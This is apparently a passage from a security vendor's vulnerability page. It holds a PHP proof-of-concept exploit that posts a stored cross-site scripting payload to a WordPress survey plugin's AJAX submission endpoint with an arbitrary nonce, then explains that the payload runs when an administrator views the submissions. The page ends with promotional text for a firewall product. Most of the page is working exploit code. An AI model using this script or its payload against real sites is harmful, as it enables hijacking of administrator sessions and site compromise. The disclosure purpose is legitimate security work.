$survey_endpoint = $target_url . '/wp-admin/admin-ajax.php'; // Plugin uses AJAX for public submission

// The vulnerable parameter: answer for a text question. We need a valid survey ID.
// For demonstration, we use a placeholder; in real attack, attacker would find a survey first.
$survey_id = 1; // Known or discovered survey ID

// XSS payload: simple alert
$xss_payload = '<img src=x onerror=alert(document.cookie)>';

// Build POST data mimicking a survey submission
$post_data = array(
    'action' => 'survey_maker_submit',
    'survey_id' => $survey_id,
    // This nonce might not be validated for text fields; we exploit the missing sanitization
    'nonce' => 'any_value',
    'answers' => json_encode(array(
        '1' => array(
            'answer' => $xss_payload,
            'type' => 'text'
        )
    ))
);

// Initialize cURL session
$ch = curl_init($survey_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: multipart/form-data',
    'User-Agent: AtomicEdge-PoC/1.0'
));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check response
if ($http_code == 200) {
    echo "[+] Exploit submitted successfully to survey ID: $survey_idn";
    echo "[+] Payload: $xss_payloadn";
    echo "[+] Next step: Log in as admin and visit /wp-admin/admin.php?page=survey-maker-submissions&action=viewn";
    echo "[+] The XSS payload will execute in the admin browser context.n";
} else {
    echo "[-] Exploit failed. HTTP code: $http_coden";
    echo "[-] Response: $responsen";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School